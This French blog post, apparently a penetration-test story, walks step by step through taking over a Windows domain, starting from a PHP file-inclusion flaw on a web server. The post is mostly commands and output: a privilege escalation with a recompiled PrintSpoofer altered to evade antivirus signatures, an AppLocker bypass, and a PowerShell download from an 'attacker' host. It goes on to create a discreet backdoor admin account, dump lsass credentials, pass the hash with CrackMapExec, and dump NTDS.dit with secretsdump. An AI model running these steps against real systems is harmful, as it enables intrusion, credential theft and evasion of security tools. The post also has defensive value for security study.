Oui, mais pourquoi ?
Hé, bonne question ! Tout administrateur normalement constitué sait que c’est par la voie du web que les emmerdes vont arriver :p
Tous ces script-kiddies ont leur scanner de vulnérabilité à l’écoute et au prochain exploit rendu public votre serveur web est bien placé pour apparaître dans un remake du meme nommé Piper Perri.
De nos jours, il est plus commun (et sérieux) de placer le serveur web chez un hébergeur quelconque pour éviter de partager un bout d’infrastructure interne.
L’histoire qui suit devrait convaincre tout le monde de cette recommandation :)
La faille stupide
Tout part d’un scan Wapiti qui détecte une faille d’inclusion permettant l’exécution de code en raison de la directive allow_url_include activée sur le serveur web.
On peut réduire le code vulnérable à ceci :
1
<?php include($_GET['show'] . '.php'); ?>
Wapiti dispose d’un payload qui va diriger la victime vers une règle d’URL rewriting sur le endpoint wapiti3.ovh
. Cette règle retourne un code PHP inoffensif quelque soit le suffixe de l’URL, tout juste suffisant pour vérifier que l’interprétation de code PHP a lieu.
Il suffit de mettre en place une charge PHP (appel à la fonction system()
) sur un serveur HTTP minimaliste et faire charger le script depuis la vulnérabilité et voilà notre exécution de commande.
Un whoami /all
indique que l’utilisateur faisant tourner les scripts est lié à une Application Pool IIS.
En dehors de ça l’utilisateur fait partie de groupes classiques (BUILTIN\Users
, NT AUTHORITY\SERVICE
, NT AUTHORITY\Authenticated Users
, BUILTIN\IIS_IUSRS
) donc on devrait être assez libre dans nos mouvements.
Wow, such privileges
Le plus intéressant ce sont les privilèges associés à ce compte avec SeImpersonatePrivilege
qui est actif :
1
2
3
4
5
6
7
8
9
10
11
12
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
On note aussi la présence d’un outil de sécurité à l’aide de tasklist /v
avec la mention du processus sepWscSvc64.exe
(Symantec Endpoint Protection).
Et enfin, la commande systeminfo
révèle un système 64bits avec l’OS Microsoft Windows Server 2016 Standard.
L’exécution de commandes Powershell nous est refusé :
1
2
C:\www\target> powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc -- snip encoded powershell command snip --
Access is denied.
C’est certainement l’effet d’une règle de sécurité basique, type AppLocker puisqu’en copiant le binaire powershell.exe
à un autre emplacement et sous un autre nom tout fonctionne.
Nos cibles toutes trouvées seront bien évidemment les admins du domaine :
1
2
3
4
5
6
7
8
9
10
11
12
13
C:\www\target> net group "domain admins" /domain
The request will be processed at a domain controller for domain target
Group name Domain Admins
Comment Designated administrators of the domain
Members
-------------------------------------------------------------------------------
administrator anna_adm jones_adm
florent_adm jack kim_adm
The command completed successfully
En explorant les fichiers de configuration sous la racine web, on peut trouver quelques mots de passe (base de données, API, etc) mais rien qui semble lié de prés ou de loin à l’un de ces comptes.
On peut se pencher sur ce petit tableau pour déterminer quels outils utiliser pour abuser de notre privilège. Dans notre cas, PrintSpoofer est l’outil de choix.
Il va de soi que l’exploit sera détecté par l’antivirus, il convient a minima de le recompiler avec Visual Studio. On peut utiliser un outil comme ThreatCheck pour connaître quelle partie du binaire est concerné par les signatures de l’antivirus Windows Defender (on espère ici que Symantec utilise les mêmes signatures).
Sans trop de surprises la signature concerne des chaînes de caractères correspondant au message d’aide du programme :
On vire tout ça, on recompile, on reteste et ça passe.
1
2
3
4
5
6
7
8
9
10
C:\www\target> gimmeashell.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
Bien sûr, il aura fallu préalablement uploader l’exécutable sur la victime. On peut par exemple passer par Powershell :
1
(New-Object System.Net.WebClient).DownloadFile('http://attacker/gimmeashell.exe', 'gimmeashell.exe')
Ou alors on peut écrire un script d’upload en PHP sur le site via la commande echo
. On passera par l’étape du base64 pour ne pas se casser la tête à échapper les caractères problématiques.
1
2
echo mon_code_php_encodé_base64 > upload.64
certutil -decode upload.64 upload.php
Depuis notre shell SYSTEM on ajoute un compte administrateur local (on prendra soin de choisir un nom discret ou de réactiver un compte existant inactif) :
1
2
net user besthacker 31337 /ADD
net localgroup Administrators besthacker /ADD
Exploitation précoce
On se rencarde sur le domaine avec deux commandes WMIC :
1
2
3
4
5
6
7
8
9
10
11
12
13
C:\Windows\system32> wmic computersystem get domain
Domain
target.tld
C:\Windows\system32> wmic NTDOMAIN GET DomainControllerAddress,DomainName,Roles /VALUE
DomainControllerAddress=
DomainName=
Roles=
DomainControllerAddress=\\10.10.10.1
DomainName=NT
Roles=
Après un reverse SSH mis en place sur le serveur web je peux forwarder le port RDP du serveur chez moi puis m’y connecter avec xfreerdp
:
1
2
ssh -N -L 3389:127.0.0.1:3389 -p 8888 127.0.0.1
xfreerdp /u:besthacker /p:31337 /v:127.0.0.1:3389 /rfx /gfx:avc444 /network:auto
Une fois connecté en administrateur, il est possible de rendre l’antivirus silencieux ou d’ajouter une exclusion où placer des exécutables ayant une mauvaise réputation.
Ici on profitera seulement du gestionnaire de taches pour dumper la mémoire de lsass.exe
comme dans ce précédent article.
Depuis Linux Pypykatz peut généralement se substituer à Mimikatz
pour extraire les hashs depuis le dump téléchargé :
1
pypykatz lsa minidump lsass.DMP > dump.txt
Dans le dump obtenu on trouve le mot de passe de l’administrateur local (en clair) mais aussi le hash NT de l’un des admins du domaine, kim_adm
!
On peut stocker les plusieurs centaines de noms d’utilisateurs du domaine (net user /domain
) dans un fichier et mettre les hashs dans un autre et voir s’il y a des mots de passes réutilisés.
CrackMapExec fait ça très bien et indique via un petit +
quand les identifiants sont corrects. Il rajoute aussi Pwned
quand il s’agit d’un compte privilégié :
1
2
SMB 192.168.1.47 445 NAS [+] target.tld\kim_adm:-- snip un hash NT -- (Pwn3d!)
SMB 192.168.1.47 445 NAS [+] target.tld\www:-- snip un hash NT --
Pour s’éviter de changer le port à forwarder à chaque étape, on peut utiliser l’option -D
de ssh et créer un proxy socks local (voir le CTF myHouse 7 orienté pivoting).
On termine tout ça grâce à Impacket qui va nous dumper les hashs du fichier NTDS.dit
sur le contrôleur de domaine :
1
$ proxychains4 -q -f proxychains.conf python examples/secretsdump.py -dc-ip 10.10.10.1 -just-dc -hashes aad3b435b51404eeaad3b435b51404ee:--snip-hash-NT -- target.tld/kim_adm@10.10.10.1 | tee ntdis_dump.txt
Ainsi armé, les 300 machines présentes sur le réseau n’ont qu’à bien se tenir :D Environ 21% des comptes tombent avec une bonne wordlist et un peu de patience.
Le trophé
Au choix : capture d’écran de la caméra de surveillance Axis présente dans le bureau des IT où on peut les voir travailler, récupération d’un fichier Excel contenant des passwords sur la machine de l’administrateur et j’en passe.
Published March 29 2022 at 18:02